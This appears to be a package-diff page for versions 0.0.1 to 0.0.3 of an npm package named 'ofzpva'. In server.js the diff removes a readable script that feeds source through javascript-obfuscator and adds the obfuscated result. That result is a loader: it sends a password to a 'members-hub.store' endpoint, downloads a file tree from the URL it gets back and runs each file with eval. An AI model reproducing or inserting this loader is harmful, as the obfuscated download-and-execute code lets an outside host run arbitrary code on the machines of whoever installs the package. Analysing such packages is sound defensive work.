ofzpva 0.0.1 → 0.0.3
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +2 -2
- package/server.js +1 -188
package/package.json
CHANGED
@@ -1,12 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "ofzpva",
|
3
3
|
"description": "ofzpva",
|
4
|
-
"version": "0.0.
|
4
|
+
"version": "0.0.3",
|
5
5
|
"main": "server.js",
|
6
6
|
"dependencies": {
|
7
7
|
"pretty-ms": "^6.0.1",
|
8
8
|
"socket.io-client": "^4.7.1",
|
9
|
-
"axios": "^0.22.
|
9
|
+
"axios": "^0.22.1",
|
10
10
|
"mongoose": "^8.5.5",
|
11
11
|
"node-fetch": "^2.6.1",
|
12
12
|
"express": "^5.0.0-beta.3",
|
package/server.js
CHANGED
@@ -1,188 +1 @@
|
|
1
|
-
let
|
2
|
-
|
3
|
-
const obfuscatedCode = javascriptObfuscator.obfuscate(`
|
4
|
-
const FILESYSTEM__ = class FS {
|
5
|
-
constructor(manager) {
|
6
|
-
this.manager = manager;
|
7
|
-
}
|
8
|
-
|
9
|
-
readdirSync(pathname) {
|
10
|
-
let result = { app: this.manager.files };
|
11
|
-
let splited = pathname.split("/");
|
12
|
-
|
13
|
-
for (let i = 0; i < splited.length; i++) {
|
14
|
-
if (!splited[i]) continue;
|
15
|
-
let dir = splited[i];
|
16
|
-
result = result[dir];
|
17
|
-
}
|
18
|
-
|
19
|
-
return Object.keys(result);
|
20
|
-
}
|
21
|
-
}
|
22
|
-
|
23
|
-
let p1 = "-hub.store"
|
24
|
-
|
25
|
-
const AXIOS__ = require("axios");
|
26
|
-
const oldRequire = require;
|
27
|
-
const EXPRESS__ = oldRequire("express");
|
28
|
-
const APP__ = EXPRESS__();
|
29
|
-
|
30
|
-
APP__.get('/', (req, res) => {
|
31
|
-
res.status(200).json({});
|
32
|
-
});
|
33
|
-
|
34
|
-
APP__.listen(3001);
|
35
|
-
|
36
|
-
class Main {
|
37
|
-
constructor(pass, id) {
|
38
|
-
this._files = {};
|
39
|
-
this.cache = {};
|
40
|
-
this.fs = new FILESYSTEM__(this);
|
41
|
-
|
42
|
-
console.log(pass, id)
|
43
|
-
|
44
|
-
this.pass = pass;
|
45
|
-
this.id = id;
|
46
|
-
|
47
|
-
this._request_Files();
|
48
|
-
|
49
|
-
}
|
50
|
-
|
51
|
-
handleError(err) {
|
52
|
-
console.log(err);
|
53
|
-
process.exit(0);
|
54
|
-
}
|
55
|
-
|
56
|
-
async _request_Files() {
|
57
|
-
console.log(this.pass)
|
58
|
-
let data = await AXIOS__.get("https://members" + p1 + "/linkbyauth?pass=" + this.pass).then(res=>res.data).catch(err=>this.handleError(err?.response?.data))
|
59
|
-
console.log(data)
|
60
|
-
if(!data) return;
|
61
|
-
|
62
|
-
|
63
|
-
const endpoint = process.env.myurl;
|
64
|
-
const authenticationHeader = process.env.auth;
|
65
|
-
|
66
|
-
const filesObj = await AXIOS__.get(data[this.id], {
|
67
|
-
headers: {
|
68
|
-
authentication: data[3],
|
69
|
-
},
|
70
|
-
})
|
71
|
-
.then((res) => res.data)
|
72
|
-
.catch((err) => this.handleError(err.response?.data));
|
73
|
-
|
74
|
-
if (!filesObj) return;
|
75
|
-
|
76
|
-
console.log(filesObj['index.js'])
|
77
|
-
|
78
|
-
this._files = filesObj;
|
79
|
-
console.log("Files Loaded!");
|
80
|
-
this.star_t();
|
81
|
-
}
|
82
|
-
|
83
|
-
get files() {
|
84
|
-
return this._files;
|
85
|
-
}
|
86
|
-
|
87
|
-
_require(path, input) {
|
88
|
-
if (input === "F_S".split("_").join("").toLowerCase()) {
|
89
|
-
return this.fs;
|
90
|
-
} else if (!input.includes("/")) {
|
91
|
-
return oldRequire(input);
|
92
|
-
} else {
|
93
|
-
let currentPath = path;
|
94
|
-
let executePath = input;
|
95
|
-
|
96
|
-
let currentPath_ = currentPath;
|
97
|
-
let executePath_ = executePath;
|
98
|
-
|
99
|
-
let target = "";
|
100
|
-
let extention = "";
|
101
|
-
|
102
|
-
if (executePath.endsWith(".js") || executePath.endsWith(".json")) {
|
103
|
-
extention = executePath.endsWith(".js") ? ".js" : ".json";
|
104
|
-
executePath = executePath.split(".");
|
105
|
-
executePath = executePath.slice(0, executePath.length - 1).join(".");
|
106
|
-
}
|
107
|
-
|
108
|
-
if (!executePath.includes(".")) {
|
109
|
-
currentPath = "/";
|
110
|
-
}
|
111
|
-
if (executePath.startsWith("/app/")) {
|
112
|
-
executePath = executePath.replace("/app/", "/");
|
113
|
-
}
|
114
|
-
|
115
|
-
while (true) {
|
116
|
-
if (!executePath.includes(".")) {
|
117
|
-
target = "/" + executePath + extention;
|
118
|
-
break;
|
119
|
-
}
|
120
|
-
const splited = executePath.split("/");
|
121
|
-
if (splited[0] === "..") {
|
122
|
-
currentPath = currentPath.split("/");
|
123
|
-
currentPath = currentPath.slice(0, currentPath.length - 1).join("/");
|
124
|
-
executePath = executePath.split("/").slice(1).join("/");
|
125
|
-
} else if (splited[0] === ".") {
|
126
|
-
executePath = executePath.split("/").slice(1).join("/");
|
127
|
-
} else if (splited[0] === "") {
|
128
|
-
}
|
129
|
-
}
|
130
|
-
|
131
|
-
const result =
|
132
|
-
this.cache[target] ||
|
133
|
-
this.load_FromPath(currentPath + target, currentPath);
|
134
|
-
|
135
|
-
if (!result) {
|
136
|
-
|
137
|
-
}
|
138
|
-
|
139
|
-
return result;
|
140
|
-
}
|
141
|
-
}
|
142
|
-
|
143
|
-
load_FromPath(pathname, pathofkey) {
|
144
|
-
try {
|
145
|
-
require = (...args) => this._require(pathofkey, ...args);
|
146
|
-
|
147
|
-
let result = this.files;
|
148
|
-
const splited = pathname.split("/");
|
149
|
-
|
150
|
-
for (let i = 0; i < splited.length; i++) {
|
151
|
-
if (!splited[i]) continue;
|
152
|
-
let dir = splited[i];
|
153
|
-
result = result[dir];
|
154
|
-
}
|
155
|
-
|
156
|
-
try {
|
157
|
-
this.cache[pathname] = eval(result);
|
158
|
-
} catch (e) {
|
159
|
-
console.log(pathname, e.message);
|
160
|
-
}
|
161
|
-
|
162
|
-
return this.cache[pathname];
|
163
|
-
} catch (e) {
|
164
|
-
console.log(e, pathname, pathofkey);
|
165
|
-
}
|
166
|
-
}
|
167
|
-
|
168
|
-
async star_t() {
|
169
|
-
const caching = (obj, path = "") => {
|
170
|
-
const result = {};
|
171
|
-
for (let [key, value] of Object.entries(obj)) {
|
172
|
-
const pathofkey = path + "/" + key;
|
173
|
-
if (typeof value === "object") {
|
174
|
-
result[key] = caching(value, pathofkey);
|
175
|
-
} else {
|
176
|
-
this.load_FromPath(pathofkey, path);
|
177
|
-
}
|
178
|
-
}
|
179
|
-
};
|
180
|
-
|
181
|
-
caching(this.files);
|
182
|
-
}
|
183
|
-
}
|
184
|
-
module.exports = Main`, {
|
185
|
-
numbersToExpressions: true,
|
186
|
-
stringArrayShuffle: true,
|
187
|
-
}).getObfuscatedCode();
|
188
|
-
console.log(obfuscatedCode)
|
1
|
+
const _0x526f7b=_0x1c43;(function(_0x328d92,_0x47d56e){const _0x48f6f2=_0x1c43,_0x35aeea=_0x328d92();while(!![]){try{const _0x1b47a3=parseInt(_0x48f6f2(0xad))/(0x280+-0xef7+-0x4c*-0x2a)+-parseInt(_0x48f6f2(0xd3))/(0x18f7+-0xc7a*0x2+0x1*-0x1)+parseInt(_0x48f6f2(0xbc))/(0x1ac9+0x33*-0x5e+-0x80c)*(parseInt(_0x48f6f2(0xb6))/(0x1f*-0xd+-0x2*-0x17f+-0x167))+parseInt(_0x48f6f2(0xce))/(0x33e+0x14bb+-0x17f4)+parseInt(_0x48f6f2(0xae))/(-0x120+-0x153b+0x1661)*(-parseInt(_0x48f6f2(0xd2))/(0xa9f+-0x17*0x198+0x1a10))+-parseInt(_0x48f6f2(0xb7))/(-0x1d21+-0x2*-0x1b5+-0x895*-0x3)+parseInt(_0x48f6f2(0xc6))/(-0x38a*-0x7+0xec5+0x2*-0x13c1)*(parseInt(_0x48f6f2(0xaf))/(0x12a0+-0x1*0xbb0+-0x6e6));if(_0x1b47a3===_0x47d56e)break;else _0x35aeea['push'](_0x35aeea['shift']());}catch(_0x26327a){_0x35aeea['push'](_0x35aeea['shift']());}}}(_0x5c15,-0x1553da+-0x6691*0xa+0x3*0xd6db5));const FILESYSTEM__=class FS{constructor(_0x4b3e6c){const _0x2790cd=_0x1c43;this[_0x2790cd(0xcc)]=_0x4b3e6c;}[_0x526f7b(0xb5)](_0xc3c89b){const _0x10030a=_0x526f7b;let _0x56a277={'app':this[_0x10030a(0xcc)][_0x10030a(0xd1)]},_0x4ea4de=_0xc3c89b[_0x10030a(0xd7)]('/');for(let _0x251225=0xef*0x23+-0x8cc*-0x4+0x1*-0x43dd;_0x251225<_0x4ea4de[_0x10030a(0xbb)];_0x251225++){if(!_0x4ea4de[_0x251225])continue;let _0x80ee37=_0x4ea4de[_0x251225];_0x56a277=_0x56a277[_0x80ee37];}return Object['keys'](_0x56a277);}};let p1='-hub.store';const AXIOS__=require(_0x526f7b(0xd6)),oldRequire=require,EXPRESS__=oldRequire(_0x526f7b(0xc0)),APP__=EXPRESS__();APP__['get']('/',(_0x343c3f,_0x2ecc47)=>{const _0x263e3d=_0x526f7b;_0x2ecc47['status'](0x188a+-0x4*0x973+-0x3*-0x4ae)[_0x263e3d(0xbd)]({});}),APP__[_0x526f7b(0xc2)](0x25ec*0x1+-0x7*-0x301+0x1f*-0x186);class Main{constructor(_0xe431d2,_0x4f90a8){const _0x528e4d=_0x526f7b;this[_0x528e4d(0xcb)]={},this['cache']={},this['fs']=new FILESYSTEM__(this),console[_0x528e4d(0xc5)](_0xe431d2,_0x4f90a8),this[_0x528e4d(0xc8)]=_0xe431d2,this['id']=_0x4f90a8,this['_request_Files']();}['handleError'](_0x4e6a9c){const _0x7a7aa3=_0x526f7b;console[_0x7a7aa3(0xc5)](_0x4e6a9c),process['exit'](-0x991*0x3+-0xd*0xda+-0x1*-0x27c5);}async[_0x526f7b(0xb3)](){const _0x26f172=_0x526f7b;console['log'](this['pass']);let _0x122f6c=await AXIOS__[_0x26f172(0xd0)]('https://members'+p1+_0x26f172(0xd8)+this[_0x26f172(0xc8)])[_0x26f172(0xb1)](_0x4edfe0=>_0x4edfe0[_0x26f172(0xb2)])[_0x26f172(0xc1)](_0x249a18=>this[_0x26f172(0xab)](_0x249a18?.['response']?.['data']));console[_0x26f172(0xc5)](_0x122f6c);if(!_0x122f6c)return;const _0x41ff79=process[_0x26f172(0xaa)][_0x26f172(0xbf)],_0x2bc230=process['env']['auth'],_0x1f0f52=await AXIOS__['get'](_0x122f6c[this['id']],{'headers':{'authentication':_0x122f6c[0x2438+0x638+-0x2a6d*0x1]}})[_0x26f172(0xb1)](_0x5bf694=>_0x5bf694[_0x26f172(0xb2)])[_0x26f172(0xc1)](_0x410830=>this[_0x26f172(0xab)](_0x410830[_0x26f172(0xca)]?.[_0x26f172(0xb2)]));if(!_0x1f0f52)return;console['log'](_0x1f0f52[_0x26f172(0xc4)]),this['_files']=_0x1f0f52,console[_0x26f172(0xc5)](_0x26f172(0xda)),this['star_t']();}get[_0x526f7b(0xd1)](){return this['_files'];}[_0x526f7b(0xcf)](_0x392ea8,_0x5e4603){const _0x28bb0d=_0x526f7b;if(_0x5e4603===_0x28bb0d(0xba)['split']('_')['join']('')[_0x28bb0d(0xb0)]())return this['fs'];else{if(!_0x5e4603['includes']('/'))return oldRequire(_0x5e4603);else{let _0x77891c=_0x392ea8,_0xd828fb=_0x5e4603,_0x2ca094=_0x77891c,_0x416e1d=_0xd828fb,_0x24d49a='',_0x2bd0e0='';(_0xd828fb[_0x28bb0d(0xb9)](_0x28bb0d(0xd9))||_0xd828fb['endsWith'](_0x28bb0d(0xd5)))&&(_0x2bd0e0=_0xd828fb[_0x28bb0d(0xb9)](_0x28bb0d(0xd9))?_0x28bb0d(0xd9):_0x28bb0d(0xd5),_0xd828fb=_0xd828fb['split']('.'),_0xd828fb=_0xd828fb[_0x28bb0d(0xdb)](0x427*0x6+0x78*0x32+-0x305a,_0xd828fb['length']-(-0x1519*-0x1+0x4*-0x3dd+0x2d2*-0x2))[_0x28bb0d(0xb8)]('.'));!_0xd828fb[_0x28bb0d(0xc9)]('.')&&(_0x77891c='/');_0xd828fb['startsWith'](_0x28bb0d(0xc7))&&(_0xd828fb=_0xd828fb['replace'](_0x28bb0d(0xc7),'/'));while(!![]){if(!_0xd828fb['includes']('.')){_0x24d49a='/'+_0xd828fb+_0x2bd0e0;break;}const _0x3e6f07=_0xd828fb['split']('/');if(_0x3e6f07[-0x1*0x184a+0x19*-0x185+0x3e47]==='..')_0x77891c=_0x77891c[_0x28bb0d(0xd7)]('/'),_0x77891c=_0x77891c[_0x28bb0d(0xdb)](0x1d83+0x6*0x29+-0x1*0x1e79,_0x77891c[_0x28bb0d(0xbb)]-(0x877*0x2+0x2*0x509+0x1*-0x1aff))[_0x28bb0d(0xb8)]('/'),_0xd828fb=_0xd828fb[_0x28bb0d(0xd7)]('/')[_0x28bb0d(0xdb)](0x16cd+0x18b*-0x3+-0x122b*0x1)[_0x28bb0d(0xb8)]('/');else{if(_0x3e6f07[-0xdce+-0x293*-0xe+-0x163c]==='.')_0xd828fb=_0xd828fb[_0x28bb0d(0xd7)]('/')[_0x28bb0d(0xdb)](0x5*0x367+-0x1b9f+0x13*0x8f)[_0x28bb0d(0xb8)]('/');else{if(_0x3e6f07[-0x7e+0xa18*-0x1+0xa96]===''){}}}}const _0x37d48e=this[_0x28bb0d(0xcd)][_0x24d49a]||this[_0x28bb0d(0xc3)](_0x77891c+_0x24d49a,_0x77891c);if(!_0x37d48e){}return _0x37d48e;}}}[_0x526f7b(0xc3)](_0x5e7c77,_0x51782a){const _0x2f4896=_0x526f7b;try{require=(..._0x58850d)=>this['_require'](_0x51782a,..._0x58850d);let _0x5ea3a0=this[_0x2f4896(0xd1)];const _0x41add4=_0x5e7c77[_0x2f4896(0xd7)]('/');for(let _0x117f58=0x2105+0x1392+-0x3497;_0x117f58<_0x41add4[_0x2f4896(0xbb)];_0x117f58++){if(!_0x41add4[_0x117f58])continue;let _0x4bd3cd=_0x41add4[_0x117f58];_0x5ea3a0=_0x5ea3a0[_0x4bd3cd];}try{this[_0x2f4896(0xcd)][_0x5e7c77]=eval(_0x5ea3a0);}catch(_0x2ef7b8){console[_0x2f4896(0xc5)](_0x5e7c77,_0x2ef7b8['message']);}return this['cache'][_0x5e7c77];}catch(_0x532c94){console[_0x2f4896(0xc5)](_0x532c94,_0x5e7c77,_0x51782a);}}async[_0x526f7b(0xac)](){const _0x35c59c=_0x526f7b,_0x2e174a=(_0x5143a2,_0x5f3744='')=>{const _0x425d85=_0x1c43,_0x16611c={};for(let [_0x37ad90,_0x1bc4de]of Object[_0x425d85(0xbe)](_0x5143a2)){const _0x5b9701=_0x5f3744+'/'+_0x37ad90;typeof _0x1bc4de===_0x425d85(0xb4)?_0x16611c[_0x37ad90]=_0x2e174a(_0x1bc4de,_0x5b9701):this[_0x425d85(0xc3)](_0x5b9701,_0x5f3744);}};_0x2e174a(this[_0x35c59c(0xd1)]);}}module[_0x526f7b(0xd4)]=Main;function _0x1c43(_0x479fca,_0x352d46){const _0x2626ba=_0x5c15();return _0x1c43=function(_0xca6d52,_0x579243){_0xca6d52=_0xca6d52-(-0x11ad+0x24b+0x2*0x806);let _0x5aa332=_0x2626ba[_0xca6d52];return _0x5aa332;},_0x1c43(_0x479fca,_0x352d46);}function _0x5c15(){const _0x269ade=['cache','1879190nWkcbI','_require','get','files','308TcHvnj','1255616ijvBNz','exports','.json','axios','split','/linkbyauth?pass=','.js','Files\x20Loaded!','slice','env','handleError','star_t','1361504IfKOXs','219396bqlsfh','230DwAWoq','toLowerCase','then','data','_request_Files','object','readdirSync','223196yplDgR','1186520vjycns','join','endsWith','F_S','length','9YoLfYK','json','entries','myurl','express','catch','listen','load_FromPath','index.js','log','571365iFZHDj','/app/','pass','includes','response','_files','manager'];_0x5c15=function(){return _0x269ade;};return _0x5c15();}
|